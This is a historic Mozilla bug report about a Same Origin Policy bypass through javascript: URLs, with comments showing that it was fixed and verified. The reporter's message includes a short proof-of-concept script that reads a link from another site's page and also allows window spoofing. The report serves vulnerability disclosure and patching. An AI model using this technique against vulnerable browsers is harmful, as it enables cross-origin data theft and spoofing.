32088 - Circumventing Same Origin security policy using javascript: URLs

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[Norris Boyd]

Subject: 
        Circumventing Same Origin security policy using javascript: URLs
   Date: 
        Thu, 16 Mar 2000 16:23:00 +0200
   From: 
        Georgi Guninski <[e-mail]>
     To: 
        Norris Boyd <[e-mail]>




It is possible to circumvent Same Origin security policy using
javascript: URLs.
The problem is changing the location of a target document to javascript
which changes the document content while the location is that of the
target document.
This also allows window spoofing.

I would suggest disallowing navigating to javascript: URLs accross
domains.

The code is:
------------------------------------------------
<SCRIPT>
a=window.open("http://www.yahoo.com");
a.location="javascript:document.open();document.write('<IFRAME
SRC=http://www.yahoo.com></IFRAME><A
HREF=javascript:alert(window.frames[0].document.links[0].href)>Click
here to see the first link from Yahoo</A>');document.close()";
</SCRIPT>

Comment 1

[Norris Boyd]

Marking beta2.

Comment 2

[Norris Boyd]

Fixed:
Checking in layout/html/document/src/nsHTMLDocument.cpp;
/m/pub/mozilla/layout/html/document/src/nsHTMLDocument.cpp,v  <--  nsHTMLDocumen
t.cpp
new revision: 3.207; previous revision: 3.206

Comment 3

[Norris Boyd]

CC'ing [e-mail]

Comment 4

[John Unruh]

Verified fixed.

Comment 5

[Mitchell Stoltz (not reading bugmail)]

Opening fixed security bugs to the public.